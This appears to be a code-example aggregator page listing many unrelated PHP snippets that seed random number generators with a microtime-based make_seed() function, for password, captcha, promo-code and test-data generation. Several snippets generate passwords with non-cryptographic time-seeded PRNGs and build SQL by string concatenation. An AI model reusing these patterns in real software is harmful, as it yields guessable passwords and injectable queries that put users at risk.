public function generate($f3)
 {
     require_once '***/libs/htmlpurifier/library/HTMLPurifier.auto.php';
     $purifier = new HTMLPurifier();
     make_seed();
     $models = array('cv2/lm_lstm_epoch50.00_0.5080.t7', 'cv/lm_lstm_epoch46.00_0.7940.t7');
     $rnx = array_rand($models, 1);
     $model = $models[$rnx];
     $seed = round(rand());
     $cmd = 'cd ***/char-rnn && th ***/char-rnn/sample.lua -verbose 0 -temperature 0.8 -gpuid -1 -seed ' . $seed . ' -length 2048 -primetext "<poem><html><head><meta charset=\\"utf-8\\"><style>body{background-color:#000;color:#0c0;}</style></head><body>" /home/drakh/klingon-poetry/' . $model;
     $postVars = array('cmd' => $cmd);
     $options = array('method' => 'POST', 'content' => http_build_query($postVars));
     $r = \Web::instance()->request('http://127.0.0.1:1337', $options);
     $clean_html = $purifier->purify($r['body']);
     $poem = nl2br(trim($clean_html));
     $db_data = array('seed' => $seed, 'model' => $model, 'poem' => $poem);
     $data_to_save = json_encode($db_data, JSON_UNESCAPED_UNICODE);
     $this->model->poem = $data_to_save;
     $this->model->written_date = date('d.m.Y H:i:s');
     $this->model->save();
     $id = $this->model->id_poem;
     $postVars = array('id' => $id);
     $options = array('method' => 'POST', 'content' => http_build_query($postVars));
     $r = \Web::instance()->request('http://127.0.0.1:1338', $options);
     $f3->reroute('/poem/' . $id);
 }
예제 #2
0
파일: util.php 프로젝트: erico-deh/ocPortal
/**
* This function will clean up old data in the database that is not 
* needed according to user defined settings.
*
* Deletes entries in the database tables dstore, thatstack, thatstackindex 
* and if set also conversationlog.
*
* @uses make_seed()
*
* @return void        nothing, deletes database entires
*/
function cleanup()
{
    if (RANDOMCHANCECLEAN == -1 || MINUTESTOKEEPDATA == -1) {
        return;
    }
    mt_srand(make_seed());
    $randval = mt_rand(1, RANDOMCHANCECLEAN);
    if ($randval == RANDOMCHANCECLEAN) {
        if (MINUTESTOKEEPDATA != -1) {
            $clean_dstore = "delete from dstore where enteredtime < date_add(now(), interval - " . MINUTESTOKEEPDATA . " minute)";
            $clean_thatstack = "delete from thatstack where enteredtime < date_add(now(), interval - " . MINUTESTOKEEPDATA . " minute)";
            $clean_thatindex = "delete from thatindex where enteredtime < date_add(now(), interval - " . MINUTESTOKEEPDATA . " minute)";
            $selectcode = mysql_query($clean_dstore);
            if ($selectcode) {
            }
            $selectcode = mysql_query($clean_thatstack);
            if ($selectcode) {
            }
            $selectcode = mysql_query($clean_thatindex);
            if ($selectcode) {
            }
        }
        if (MINUTESTOKEEPCHATLOG != -1) {
            $clean_convlog = "delete from conversationlog where enteredtime < date_add(now(), interval - " . MINUTESTOKEEPCHATLOG . " minute) and " . whichbots();
            $selectcode = mysql_query($clean_convlog);
            if ($selectcode) {
            }
        }
    }
}
예제 #3
0
function make_password($password_length){
srand(make_seed());
$alfa = "!@123!@4567!@890qwer!@tyuiopa@!sdfghjkl@!zxcvbn@!mQWERTYUIO@!PASDFGH@!JKLZXCVBNM!@";
$token = "";
for($i = 0; $i < $password_length; $i ++) {
  $token .= $alfa[rand(0, strlen($alfa))];
}
return $token;
}
예제 #4
0
파일: config.php 프로젝트: hshelton/portal
function generatePass()
{
    // Generate random password
    srand(make_seed());
    $alfa = "23456789qwertyuiopasdfghjkzxcvbnmQWERTYUIPASDFGHJKLZXCVBNM";
    $password = "";
    for ($i = 0; $i < 7; $i++) {
        $password .= $alfa[rand(0, strlen($alfa) - 1)];
    }
    return $password;
}
예제 #5
0
 function gen_rnd_string()
 {
     $alphabet = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
     // 1 and I removed
     $myreturn = '';
     mt_srand(make_seed());
     for ($i = 0; $i < $this->chars; ++$i) {
         $myreturn .= $alphabet[mt_rand(0, 31)];
     }
     return $myreturn;
 }
function promocode_generate($ini = 0)
{
    # --------------------------------------------------------
    $p1 = 0;
    $p2 = 0;
    $p3 = 0;
    $c = 0;
    mt_srand(make_seed());
    $c = intval(mt_rand(1000000000, mt_getrandmax())) + 1 . (intval(mt_rand(1000000000, mt_getrandmax())) + 1) . (intval(mt_rand(1000000000, mt_getrandmax())) + 1);
    $p1 = substr($c, 0, 5);
    $p2 = substr($c, 7, 5);
    $p3 = substr($c, 8, 3);
    //     print promocode_dv($p1). $p1. promocode_dv($p1.$p2). $p2. promocode_dv($p2) . $p3 ." ";
    return substr(promocode_dv($p1) . $p1 . promocode_dv($p1 . $p2) . $p2 . promocode_dv($p2) . $p3, 0, 5);
}
예제 #7
0
function add()
{
    if (!isset($_POST["message"])) {
        // there is no message , return
        return;
    }
    //write message into a file
    mt_srand(make_seed());
    $randval = mt_rand(1, 50);
    $file = fopen("./message/" . $randval . ".txt", "w");
    fwrite($file, $_POST["message"]);
    fclose($file);
    html_div(100, 10, "#ffffff", 20);
    echo "Success, your message ID is " . $randval;
    html_div_end();
}
예제 #8
0
function randomString($len)
{
    function make_seed()
    {
        list($usec, $sec) = explode(' ', microtime());
        return (double) $sec + (double) $usec * 100000;
    }
    srand(make_seed());
    //Der String $possible enth�lt alle Zeichen, die verwendet werden sollen
    $possible = "ABCDEFGHJKLMNPRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789";
    $str = "";
    while (strlen($str) < $len) {
        $str .= substr($possible, rand() % strlen($possible), 1);
    }
    return $str;
}
예제 #9
0
function getUnID($length)
{
    $toRet = "";
    $symbols = array();
    for ($i = 0; $i < 26; $i++) {
        $symbols[] = chr(97 + $i);
    }
    for ($i = 0; $i < 10; $i++) {
        $symbols[] = chr(48 + $i);
    }
    srand(make_seed());
    for ($i = 0; $i < $length; $i++) {
        $toRet .= $symbols[rand(0, 35)];
    }
    return $toRet;
}
예제 #10
0
function gen_new_pwd()
{
    $password_length = 9;
    function make_seed()
    {
        list($usec, $sec) = explode(' ', microtime());
        return (double) $sec + (double) $usec * 100000;
    }
    srand(make_seed());
    $alfa = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
    $token = "";
    for ($i = 0; $i < $password_length; $i++) {
        $token .= $alfa[rand(0, strlen($alfa) - 1)];
    }
    return $token;
}
예제 #11
0
function check_obval($tree)
{
    global $char;
    $rand = obval_chance($tree);
    mt_srand(make_seed());
    $ch = mt_rand(0, 100);
    if ($ch <= $rand) {
        //обвал
        craft_DelFunc($char['user_id']);
        myquery("DELETE FROM craft_build_rab WHERE user_id=" . $char['user_id'] . "");
        myquery("UPDATE craft_build_stonemason SET klin=0,state=0,user_id=0,end_time=0,chance=0,reserve_time=0,reserve_user_id=0 WHERE id=" . $tree['id'] . "");
        set_craft_delay($char['user_id'], 1);
        echo '<b>Произошел обвал! Работа прекращена!</b><br><br>';
        return 1;
    } else {
        myquery("UPDATE craft_build_stonemason SET chance=chance+5 WHERE id=" . $tree['id'] . "");
    }
    return 0;
}
예제 #12
0
function generate_code($length = 7)
{
    global $wovels, $wovelsnoy, $consonants, $start, $mid, $end, $freqs;
    for ($i = 0; $i < $length; $i++) {
        if ($i == 0) {
            $chars = $wovelsnoy . $consonants;
        } elseif ($i == 1) {
            $chars = wcdispatch($result[$i - 1], $start);
        } elseif (in_array($result[$i - 1], mbStringToArray($wovels)) && in_array($result[$i - 2], mbStringToArray($wovels))) {
            $chars = $consonants;
        } elseif (in_array($result[$i - 1], mbStringToArray($consonants)) && in_array($result[$i - 2], mbStringToArray($consonants))) {
            $chars = checkharmony($result[$i - 1]);
        } elseif ($i == $length - 1) {
            $chars = wcdispatch($result[$i - 1], $end);
        } else {
            $chars = wcdispatch($result[$i - 1], $mid);
        }
        $charset = mbStringToArray($chars);
        $sum = 0;
        foreach ($charset as $char) {
            $sum += $freqs[$char];
        }
        $xfq = array();
        $bsum = 0;
        foreach ($charset as $char) {
            $balanced = $freqs[$char] / $sum;
            $bsum += $balanced;
            $xfq[(string) $bsum] = $char;
        }
        $roll = frand();
        foreach ($xfq as $freq => $letter) {
            if ($roll < $freq) {
                $result[$i] = $letter;
                $roll = 2;
            }
        }
    }
    mt_srand(make_seed());
    $array_mix = preg_split('//', mb_strtoupper(implode("", $result)), -1, PREG_SPLIT_NO_EMPTY);
    return implode("", $array_mix);
}
예제 #13
0
 public function make_rand()
 {
     function make_seed()
     {
         list($usec, $sec) = explode(' ', microtime());
         return (double) $sec + (double) $usec * 100000;
     }
     $m = M('User');
     $where['username'] = '******';
     $arrc = $m->where($where)->find();
     if ($arrc) {
         $data['id'] = $arrc['id'];
         $data['reg_time'] = time();
         srand(make_seed());
         $data['password'] = rand(1000, 9999);
         $succ = $m->save($data);
         if ($succ) {
             $this->redirect('Admin/index');
         }
     } else {
     }
 }
예제 #14
0
function init_srand($seed = '')
{
    static $wascalled = FALSE;
    if (!$wascalled) {
        $seed = $seed === '' ? make_seed() : $seed;
        srand($seed);
        $wascalled = TRUE;
    }
}
예제 #15
0
 function sortrandom()
 {
     $result = db_execquery('SELECT id from ' . TBL_PLAYLIST_LIST . ' WHERE listid = ' . $this->listid . ' ORDER BY ID ASC');
     srand(make_seed());
     while ($row = db_fetch_row($result)) {
         db_execquery('UPDATE ' . TBL_PLAYLIST_LIST . ' SET seq = ' . getrand() . ' WHERE id = ' . $row[0], true);
     }
     $this->rewriteseq();
 }
예제 #16
0
function getRand($a, $b)
{
    if ($a + 1 == $b) {
        return $a;
    }
    mt_srand(make_seed());
    return mt_rand($a, $b - 1);
}
예제 #17
0
$bg_images = array('ht_freecap_im1.jpg', 'ht_freecap_im2.jpg', 'ht_freecap_im3.jpg', 'ht_freecap_im4.jpg', 'ht_freecap_im5.jpg');
// for non-transparent backgrounds only:
// if 0, merges CAPTCHA with bg
// if 1, write CAPTCHA over bg
$merge_type = 0;
// should we morph the bg? (recommend yes, but takes a little longer to compute)
$morph_bg = true;
// you shouldn't need to edit anything below this, but it's extensively commented if you do want to play
// have fun, and email me with ideas, or improvements to the code (very interested in speed improvements)
// hope this script saves some spam :-)
//////////////////////////////////////////////////////
////// Create Images + initialise a few things
//////////////////////////////////////////////////////
// seed random number generator
// PHP 4.2.0+ doesn't need this, but lower versions will
$seed_func(make_seed());
// how faded should the bg be? (100=totally gone, 0=bright as the day)
// to test how much protection the bg noise gives, take a screenshot of the freeCap image
// and take it into a photo editor. play with contrast and brightness.
// If you can remove most of the bg, then it's not a good enough percentage
switch ($bg_type) {
    case 0:
        break;
    case 1:
    case 2:
        $bg_fade_pct = 65;
        break;
    case 3:
        $bg_fade_pct = 50;
        break;
}
예제 #18
0
 function generateSoal()
 {
     $id = $_GET['id'];
     $ujian = $this->models->getData('ujian', 0, "id_ujian = {$id}");
     $this->models->delData('generated_soal', "id_ujian = {$ujian['id_ujian']}");
     $paket = $this->models->getData('paket_soal', 1, "id_ujian = {$id} AND status = 1");
     $getSoal = $this->models->getData('master_soal', 1, "id_soal IN ({$paket[0]['id_soal']})");
     $user = $this->models->getidUser();
     $total = count($user);
     $hasil = 0;
     for ($i = 0; $i < $total; $i++) {
         $soal['id_paket'] = $paket[0]['id_paket'];
         $soal['id_kategori'] = $paket[0]['id_kategori'];
         $soal['paket'] = $paket[0]['paket'];
         $soal['durasi_pengerjaan'] = $ujian['lama_ujian'];
         $exp = explode(",", $paket[0]['id_soal']);
         $soal['soal'] = implode(",", shuffle_assoc($exp));
         for ($j = 0; $j < count($exp); $j++) {
             $option = range(1, 4);
             $tmp[$j] = implode(",", fisherYatesShuffle($option, make_seed($j)));
         }
         $soal['opt'] = serialize($tmp);
         $soal['id_peserta'] = $user[$i]['id_peserta'];
         $soal['id_ujian'] = $ujian['id_ujian'];
         // db($soal);
         $success = $this->models->insert_data($soal, 'generated_soal');
         if ($success) {
             $hasil++;
         }
     }
     if ($hasil != 0) {
         return 1;
     } else {
         return 0;
     }
     db('======= Generate Soal Selesai ========');
 }
예제 #19
0
 public function retrieveNewMessages($user_id, $id = 0, $clan_id = 0, $sklon = 0)
 {
     $nakaz = @mysql_result(myquery("SELECT COUNT(*) FROM game_chat_nakaz WHERE town=0 AND user_id={$user_id} AND nakaz='slep' AND date_zak>" . time() . "", $this->mMysqli), 0, 0);
     $is_admin = mysql_num_rows(myquery("SELECT `game_mag`.* FROM  `game_mag` LEFT JOIN  `game_users` ON  `game_users`.`name` =  `game_mag`.`name` WHERE user_id = " . $user_id . ";"));
     // escape the variable data
     $id = (int) $id;
     // compose the SQL query that retrieves new messages
     $selprivat = myquery("SELECT privat FROM game_chat_option WHERE user_id={$user_id}", $this->mMysqli);
     $privat = 0;
     if ($selprivat != false and mysql_num_rows($selprivat) > 0) {
         $privat = mysql_result($selprivat, 0, 0);
     }
     if ($user_id == 612 or $user_id == 1 or $user_id == 1016 or $user_id == 3500) {
         $query = 'SELECT * FROM game_log WHERE id > ' . $id . ' AND (fromm>=0 OR (fromm=-1 AND (too=' . $user_id . ' OR too=0)) OR (fromm=-1 AND (too=1 OR ptype=2))) ORDER BY id ASC';
     } else {
         if ($clan_id != 0) {
             $query_clan = " OR (too = " . $clan_id . " AND ptype = 2)";
         } else {
             $query_clan = "";
         }
         if ($sklon != 0) {
             $query_sklon = " OR (too = " . $sklon . " AND ptype = 3)";
         } else {
             $query_sklon = "";
         }
         if ($id > 0) {
             // retrieve messages newer than $id
             $query = 'SELECT * FROM game_log ' . 'WHERE (id > ' . $id . ') AND ( fromm=' . $user_id . ' OR ptype=0 OR (too = ' . $user_id . ' AND ptype IN (0,1))';
         } else {
             // on the first load only retrieve the last 50 messages from server
             $query = 'SELECT * FROM game_log ' . 'WHERE ( fromm=' . $user_id . ' OR ptype=0 OR (too = ' . $user_id . ' AND ptype IN (0,1))';
         }
         $query = $query . $query_clan . $query_sklon . ') ORDER BY id ASC;';
     }
     // execute the query
     $result = myquery($query, $this->mMysqli);
     // initialize the response array
     $response = array();
     // initialize the results array
     $results = array();
     // check to see if we have any results
     $ar_ignore = array();
     $selign = myquery("SELECT ignore_id FROM game_chat_ignore WHERE user_id={$user_id}", $this->mMysqli);
     if ($selign != false and mysql_num_rows($selign) > 0) {
         while (list($ig_id) = mysql_fetch_array($selign)) {
             $ar_ignore[] = $ig_id;
         }
     }
     if ($result) {
         // loop through all the fetched messages to build the results array
         while ($row = mysql_fetch_array($result)) {
             if (in_array($row['fromm'], $ar_ignore)) {
                 continue;
             }
             if ($privat == 1 and $row['ob'] == 0) {
                 $flag = 0;
                 if ($row['fromm'] == $user_id) {
                     $flag = 1;
                 }
                 if ($row['too'] == $user_id) {
                     $flag = 1;
                 }
                 $name = mysqlresult(myquery("SELECT name FROM game_users WHERE user_id=" . $user_id . "", $this->mMysqli), 0, 0);
                 if (strpos($row['message'], $name) != FALSE) {
                     $flag = 1;
                 }
                 if ($flag == 0) {
                     continue;
                 }
             }
             $id = $row['id'];
             $color = $row['color'];
             if ($row['fromm'] == -1) {
                 $userName = iconv("Windows-1251", "UTF-8//IGNORE", "Нафаня");
             } elseif ($row['fromm'] > 0) {
                 if ($this->maskarad == 4) {
                     $selname = myquery("SELECT name FROM view_active_users", $this->mMysqli);
                     $all = mysql_num_rows($selname);
                     $r = mt_rand(0, $all - 1);
                     mysql_data_seek($selname, $r);
                     $na = mysql_fetch_assoc($selname);
                     $userName = $na['name'];
                     if ($user_id == 612 or $user_id == 1 or $user_id == 1016 or $user_id == 3500) {
                         $original_name = mysqlresult(myquery("SELECT name FROM game_users WHERE user_id=" . $row['fromm'] . "", $this->mMysqli), 0, 0);
                     }
                 } elseif ($this->maskarad == 6) {
                     $selname = myquery("SELECT name FROM view_active_users", $this->mMysqli);
                     $original_name = mysqlresult(myquery("SELECT name FROM game_users WHERE user_id=" . $row['fromm'] . "", $this->mMysqli), 0, 0);
                     $na = mysql_fetch_row($selname);
                     $allname = count($na);
                     $user_pos = array_search($original_name, $na);
                     $userName = $na[$allname - 1 - $user_pos];
                 } else {
                     $userName = mysqlresult(myquery("SELECT name FROM game_users WHERE user_id=" . $row['fromm'] . "", $this->mMysqli), 0, 0);
                     $original_name = $userName;
                 }
                 if ($this->maskarad > 0 and $this->maskarad != 4 and $this->maskarad != 6) {
                     //if ($user_id==612 OR $user_id==1 OR $user_id==1016 OR $user_id==3500)
                     //{}
                     //else
                     //{
                     $ar = array();
                     switch ($this->maskarad) {
                         case 1:
                             for ($i = 0; $i < strlen($userName); $i++) {
                                 $ar[] = $userName[$i];
                             }
                             shuffle($ar);
                             break;
                         case 2:
                             for ($i = 0; $i < strlen($userName); $i++) {
                                 $ar[] = "*";
                             }
                             break;
                         case 3:
                             for ($i = 0; $i < strlen($userName); $i++) {
                                 $ar[] = $userName[$i];
                             }
                             $r = mt_rand(2, 3);
                             $kol = strlen($userName) - $r;
                             while ($kol > 0) {
                                 mt_srand(make_seed());
                                 $pos = mt_rand(0, strlen($userName) - 1);
                                 if ($ar[$pos] != "*") {
                                     $ar[$pos] = "*";
                                     $kol--;
                                 }
                             }
                             break;
                         case 5:
                             $strlen = strlen($userName);
                             for ($i = 0; $i < $strlen; $i++) {
                                 $ar[] = $userName[$strlen - ($i + 1)];
                             }
                             break;
                     }
                     $userName = implode($ar);
                     $userName = ucfirst(strtolower($userName));
                     //}
                 }
                 if ($this->maskarad > 0) {
                     if ($user_id == 612 or $user_id == 1 or $user_id == 1016 or $user_id == 3500) {
                         $userName .= " (" . $original_name . ")";
                     }
                 }
                 $userName = iconv("Windows-1251", "UTF-8//IGNORE", $userName);
             } else {
                 $userName = '';
             }
             if ($this->maskarad > 0) {
                 //if ($user_id==612 OR $user_id==1 OR $user_id==1016 OR $user_id==3500)
                 //{}
                 //else
                 //{
                 $hex1 = dechex(mt_rand(0, hexdec("FF")));
                 if (strlen($hex1) < 2) {
                     $hex1 = "0" . $hex1;
                 }
                 $hex2 = dechex(mt_rand(0, hexdec("FF")));
                 if (strlen($hex2) < 2) {
                     $hex2 = "0" . $hex2;
                 }
                 $hex3 = dechex(mt_rand(0, hexdec("FF")));
                 if (strlen($hex3) < 2) {
                     $hex3 = "0" . $hex3;
                 }
                 $color = "#" . $hex1 . $hex2 . $hex3;
                 //}
             }
             if ($is_admin) {
                 $row['message'] = preg_replace("/\\[censored=(.*?)\\]/", "<span style=\"color: red; font-weight: bold\">[ " . "<a class='censored' onclick=\"mol_message('" . $userName . "', " . $row['id'] . ");\" style=\"\">\$1</a> | " . "<a class='censored' onclick=\"ok_message(" . $row['id'] . ")\" style=\"color: #0f0;\">ok</a> ]</span>", $row['message']);
             } else {
                 $row['message'] = preg_replace("/\\[censored=(.*?)\\]/", "<span style=\"font-weight: bold; color: red;\">[censored]</span>", $row['message']);
             }
             $time = date("H:i", $row['date']);
             $message = '' . $row['message'] . '';
             if ($row['ptype'] == 0) {
                 $to = '';
             } elseif ($row['ptype'] == 1) {
                 if ($row['too'] == -1) {
                     $to = 'Нафаня';
                 } else {
                     $to_name = myquery("SELECT name FROM game_users WHERE user_id=" . $row['too'] . "", $this->mMysqli);
                     if (mysql_num_rows($to_name) > 0) {
                         list($to) = mysql_fetch_array($to_name);
                     } else {
                         $to = '';
                     }
                 }
                 $to = iconv("Windows-1251", "UTF-8//IGNORE", $to);
             } elseif ($row['ptype'] == 2) {
                 $to = "..";
                 $to = mysql_result(myquery("SELECT nazv FROM game_clans WHERE clan_id = " . $row['too'] . "", $this->mMysqli), 0, 0);
                 $to = iconv("Windows-1251", "UTF-8//IGNORE", $to);
             } elseif ($row['ptype'] == 3) {
                 switch ($row['too']) {
                     case 1:
                         $to = "Нейтральной";
                         break;
                     case 2:
                         $to = "Светлой";
                         break;
                     case 3:
                         $to = "Тёмной";
                         break;
                     default:
                         $to = "---";
                         break;
                 }
                 /*
                 					$to = mysql_result(myquery("SELECT name FROM game_users WHERE user_id=".$row['too']."",$this->mMysqli),0,0);
                 */
                 $to = iconv("Windows-1251", "UTF-8//IGNORE", $to);
             }
             $pm_id = $row['pm_id'];
             if ($nakaz > 0) {
                 $message = 'CLEAR';
             }
             $dh = opendir('smile/');
             while ($file = readdir($dh)) {
                 if ($file == '.') {
                     continue;
                 }
                 if ($file == '..') {
                     continue;
                 }
                 if ($file == '.svn') {
                     continue;
                 }
                 $len = strlen($file) - 4;
                 $ext = substr($file, $len, 4);
                 $smile = substr($file, 0, $len);
                 if ($ext != '.gif') {
                     continue;
                 }
                 $message = str_replace("%sm" . $smile, " <img src=http://" . domain_name . "/chat/smile/{$file} border=0> ", $message);
             }
             $channel = 0;
             if ($row['town'] > 0) {
                 $sel = myquery("SELECT combat_id FROM combat_users WHERE user_id=" . $user_id . "", $this->mMysqli);
                 if ($sel != false and mysql_num_rows($sel) > 0) {
                     list($channel) = mysql_fetch_array($sel);
                     if ($channel == $row['town']) {
                         $channel = 1;
                     } else {
                         continue;
                     }
                 } else {
                     $sel = myquery("SELECT arcomage_id FROM arcomage_users WHERE user_id=" . $user_id . " LIMIT 1", $this->mMysqli);
                     if ($sel != false and mysql_num_rows($sel) > 0) {
                         list($channel) = mysql_fetch_array($sel);
                         if ($channel == $row['town']) {
                             $channel = 2;
                         } else {
                             continue;
                         }
                     }
                 }
                 if ($channel == 0) {
                     continue;
                 }
             }
             array_push($results, array('id' => $id, 'color' => $color, 'time' => $time, 'name' => $userName, 'message' => $message, 'to' => $to, 'pm_id' => $pm_id, 'channel' => $channel, 'ptype' => $row['ptype']));
             if ($nakaz > 0) {
                 break;
             }
         }
         // close the database connection as soon as possible
         mysql_close($this->mMysqli);
     }
     // add the results to the response
     array_push($response, array('results' => $results));
     return $response;
 }
예제 #20
0
 /**
  * Init the Generator script:
  * - init the SQL profiler
  * - init the random generator
  * - setup the different possible values for parameters such as 'resolution',
  * 		'color', 'hour', 'minute', etc.
  * - load from DataFiles and setup values for the other parameters such as UserAgent, Referers, AcceptedLanguages, etc.
  *  @see /misc/generateVisitsData/
  * 
  * @return void
  */
 public function init()
 {
     Piwik::createLogObject();
     $this->initProfiler();
     /*
      * Init the random number generator 
      */
     function make_seed()
     {
         list($usec, $sec) = explode(' ', microtime());
         return (double) $sec + (double) $usec * 100000;
     }
     mt_srand(make_seed());
     /*
      * Sets values for: resolutions, colors, idSite, times
      */
     $common = array('res' => array('1289x800', '1024x768', '800x600', '564x644', '200x100', '50x2000'), 'col' => array(24, 32, 16), 'idsite' => $this->idSite, 'h' => range(0, 23), 'm' => range(0, 59), 's' => range(0, 59));
     foreach ($common as $label => $values) {
         $this->addParam($label, $values);
     }
     /*
      * Sets values for: outlinks, downloads, campaigns
      */
     // we get the name of the Download/outlink variables
     $downloadOrOutlink = array(Piwik_Tracker_Config::getInstance()->Tracker['download_url_var_name'], Piwik_Tracker_Config::getInstance()->Tracker['outlink_url_var_name']);
     // we have a 20% chance to add a download or outlink variable to the URL
     $this->addParam('piwik_downloadOrOutlink', $downloadOrOutlink);
     $this->addParam('piwik_downloadOrOutlink', array_fill(0, 8, ''));
     // we get the variables name for the campaign parameters
     $campaigns = array(Piwik_Tracker_Config::getInstance()->Tracker['campaign_var_name']);
     // we generate a campaign in the URL in 3/18 % of the generated URls
     $this->addParam('piwik_vars_campaign', $campaigns);
     $this->addParam('piwik_vars_campaign', array_fill(0, 15, ''));
     /*
      * Sets values for: Referers, user agents, accepted languages
      */
     // we load some real referers to be used by the generator
     $referers = array();
     require_once PIWIK_INCLUDE_PATH . "/misc/generateVisitsData/Referers.php";
     $this->addParam('urlref', $referers);
     // and we add 2000 empty referers so that some visitors don't come using a referer (direct entry)
     $this->addParam('urlref', array_fill(0, 2000, ''));
     // load some user agent and accept language
     $userAgent = $acceptLanguages = array();
     require_once PIWIK_INCLUDE_PATH . "/misc/generateVisitsData/UserAgent.php";
     require_once PIWIK_INCLUDE_PATH . "/misc/generateVisitsData/AcceptLanguage.php";
     $this->userAgents = $userAgent;
     $this->acceptLanguage = $acceptLanguages;
 }
예제 #21
0
	/**
	 * Init the Generator script:
	 * - init the SQL profiler
	 * - init the random generator
	 * - setup the different possible values for parameters such as 'resolution',
	 * 		'color', 'hour', 'minute', etc.
	 * - load from DataFiles and setup values for the other parameters such as UserAgent, Referers, AcceptedLanguages, etc.
	 *   @see misc/generateVisitsData/
	 */
	public function init()
	{
		Piwik::createLogObject();
		
		$this->initProfiler();
		
		/*
		 * Init the random number generator 
		 */ 
		function make_seed()
		{
		  list($usec, $sec) = explode(' ', microtime());
		  return (float) $sec + ((float) $usec * 100000);
		}
		mt_srand(make_seed());
		
		// set rec=1 parameter, required as of 0.5.5 in order to force the request to be recorded
		$this->setCurrentRequest('rec', 1);
		
		/*
		 * Sets values for: resolutions, colors, idSite, times
		 */
		$common = array(
			'res' => array('1289x800','1024x768','800x600','564x644','200x100','50x2000',),
			'col' => array(24,32,16),
			'idsite'=> $this->idSite,
			'h' => range(0,23),
			'm' => range(0,59),
			's' => range(0,59),
		);
		
		foreach($common as $label => $values)
		{
			$this->addParam($label,$values);
		}
		
		/*
		 * Sets values for: outlinks, downloads, campaigns
		 */
		// we get the name of the Download/outlink variables
		$downloadOrOutlink = array('download', 'link');

		// we have a 20% chance to add a download or outlink variable to the URL 
		$this->addParam('piwik_downloadOrOutlink', $downloadOrOutlink);
		$this->addParam('piwik_downloadOrOutlink', array_fill(0,8,''));
		
		// we get the variables name for the campaign parameters
		$campaigns = array(
						'piwik_campaign'
		);
		// we generate a campaign in the URL in 3/18 % of the generated URls
		$this->addParam('piwik_vars_campaign', $campaigns);
		$this->addParam('piwik_vars_campaign', array_fill(0,15,''));
		
		
		/*
		 * Sets values for: Referers, user agents, accepted languages
		 */
		// we load some real referers to be used by the generator
		$referers = array();
		require_once PIWIK_INCLUDE_PATH . '/plugins/VisitorGenerator/data/Referers.php';

		$this->addParam('urlref',$referers);

		// and we add 2000 empty referers so that some visitors don't come using a referer (direct entry)
		$this->addParam('urlref',array_fill(0,2000,''));
		
		// load some user agent and accept language
		$userAgent = $acceptLanguages = array();
		require_once PIWIK_INCLUDE_PATH . '/plugins/VisitorGenerator/data/UserAgent.php';
		require_once PIWIK_INCLUDE_PATH . '/plugins/VisitorGenerator/data/AcceptLanguage.php';
		$this->userAgents=$userAgent;
		$this->acceptLanguage=$acceptLanguages;
	}
예제 #22
0
파일: join.php 프로젝트: babae/etano
    $loop[$i]['required'] = isset($field->config['required']) ? true : false;
    $loop[$i]['help_text'] = $field->config['help_text'];
    $loop[$i]['js'] = $field->edit_js();
    $loop[$i]['field'] = $field->edit($i + 6);
    if (isset($output['error_' . $field->config['dbfield']])) {
        $loop[$j]['class_error'] = $output['error_' . $field->config['dbfield']];
        unset($output['error_' . $field->config['dbfield']]);
    }
}
if ($page == 1) {
    $output['page1'] = true;
    if (get_site_option('use_captcha', 'core')) {
        require _BASEPATH_ . '/includes/classes/sco_captcha.class.php';
        $c = new sco_captcha(_BASEPATH_ . '/includes/fonts', 4);
        $_SESSION['captcha_word'] = $c->gen_rnd_string(4);
        $output['rand'] = make_seed();
        $output['use_captcha'] = true;
    }
}
$output['page'] = $page;
$output['lang_37'] = sanitize_and_format($GLOBALS['_lang'][37], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_63'] = sanitize_and_format($GLOBALS['_lang'][63], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_64'] = sanitize_and_format($GLOBALS['_lang'][64], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_65'] = sanitize_and_format($GLOBALS['_lang'][65], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_66'] = sanitize_and_format($GLOBALS['_lang'][66], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_68'] = sanitize_and_format($GLOBALS['_lang'][68], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_69'] = sanitize_and_format($GLOBALS['_lang'][69], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_259'] = sanitize_and_format($GLOBALS['_lang'][259], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$output['lang_272'] = sanitize_and_format($GLOBALS['_lang'][272], TYPE_STRING, $__field2format[TEXT_DB2DISPLAY]);
$tpl->set_file('content', 'join.html');
$tpl->set_loop('loop', $loop);
예제 #23
0
function generateRandamSequence($min = 1, $max = 100)
{
    srand(make_seed());
    $n = $min;
    $a = array();
    while ($n <= $max) {
        $randval = rand($min, $max);
        if (!isset($a[$randval - $min])) {
            $a[$randval - $min] = $n;
            $n++;
        }
    }
    reset($a);
    ksort($a);
    reset($a);
    return $a;
}
function return_random_value()
{
    mt_srand(make_seed());
    return mt_rand();
}
예제 #25
0
/**
* Change user password
* This function creates a new random 8 character password,
*  sets it in the database and emails it to the user
* @return boolean true or false on success of function
* @see make_seed()
*/
function changePassword()
{
    global $conf;
    $adminemail = $conf['app']['adminEmail'];
    $title = $conf['app']['title'];
    $use_logon_name = (bool) $conf['app']['useLogonName'];
    // Check if user exists
    $email = stripslashes(trim($_POST['email_address']));
    // Connect to database
    $AuthDB = new AuthDB();
    $id = $AuthDB->userExists($email);
    if (empty($id)) {
        CmnFns::do_error_box(translate('Sorry, we could not find that user in the database.'), '', false);
        return false;
    } else {
        $user = new User($id);
        $result = $user->get_user_data();
    }
    // Generate new 8 character password by choosing random
    // ASCII characters between 48 and 122
    // (valid password characters)
    $pwd = '';
    $num = 0;
    for ($i = 0; $i < 8; $i++) {
        // Seed random for older versions of PHP
        mt_srand(make_seed());
        if ($i % 2 == 0) {
            $num = mt_rand(97, 122);
        } else {
            if ($i % 3 == 0) {
                $num = mt_rand(48, 58);
            } else {
                $num = mt_rand(63, 90);
            }
        }
        // Uppercase letters and '@ ?'
        // Put password together
        $pwd .= chr($num);
    }
    // Set password in database
    $user->set_password($pwd);
    // Send email to user
    $sub = translate('Your New Password', array($title));
    $msg = translate_email('new_password', $result['fname'], $conf['app']['title'], $pwd, CmnFns::getScriptURL(), $adminemail);
